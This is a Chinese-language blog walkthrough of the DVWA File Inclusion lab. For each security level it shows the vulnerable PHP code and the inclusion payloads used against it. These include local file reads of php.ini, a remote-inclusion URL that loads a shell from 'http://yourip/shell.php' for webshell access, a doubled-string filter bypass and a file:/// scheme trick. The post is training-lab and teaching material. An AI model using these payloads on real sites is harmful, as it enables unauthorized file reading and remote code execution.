1. 程式人生 > 其它 >DVWA之File Inclusion

DVWA之File Inclusion

技術標籤:DVWAshell

學習基礎檔案上傳

low level

檢視原始碼:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到程式碼沒有任何限制過濾,可以任意包含檔案…
首先隨便寫個包含檔案:

http://localhost/DVWA/vulnerabilities/fi/?page=111.php

在這裡插入圖片描述
直接報出了網站路徑。。。

需要說明的是:不管檔案字尾是否是php,都會當做php檔案執行,如果檔案內容確認為php,則正常執行並返回結果,如果不是,則返回列印檔案內容,所以檔案包含漏洞常常會導致任意檔案讀取與任意命令執行。

例如:
http://localhost/DVWA/vulnerabilities/fi/?page=E:/webpage/public/DVWA/php.ini

顯示:
在這裡插入圖片描述
會將裡邊的內容顯示出來
這種情況也可能存在遠端檔案包含漏洞

檢視是否存在遠端檔案包含:
例如:

http://localhost/DVWA/vulnerabilities/fi/?page=http://yourip/shell.php

有條件可以測試一下,若存在可以直接通過蟻劍連線

medium level

檢視原始碼:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>

可以看到程式碼中str_replace()函式對“http://”、“https://”、“…/”、“…\”進行了過濾替換為空字元,即刪除~

這中型別的過濾可以直接 雙寫繞過,例如:hthttps://tps://htthttp://p://

,其他的跟low level一樣,不受影響。

high level

檢視原始碼:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

fnmatch() 函式根據指定的模式來匹配檔名或字串。
也就是要求page引數的開頭必須是file,伺服器才會去包含相應的檔案。
這個就跟用瀏覽器開啟本地檔案一樣,直接構造payload:

http://localhost/DVWA/vulnerabilities/fi/?page=file:///E:/webpage/public/DVWA/php.ini

在這裡插入圖片描述
同樣可以訪問本地檔案~

impossible level

看程式碼:


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

這種類似於白名單方式,只能是在白名單裡的頁面可以訪問,完美避過了其他檔案包含

<小白初試,希望路過大佬多多指正>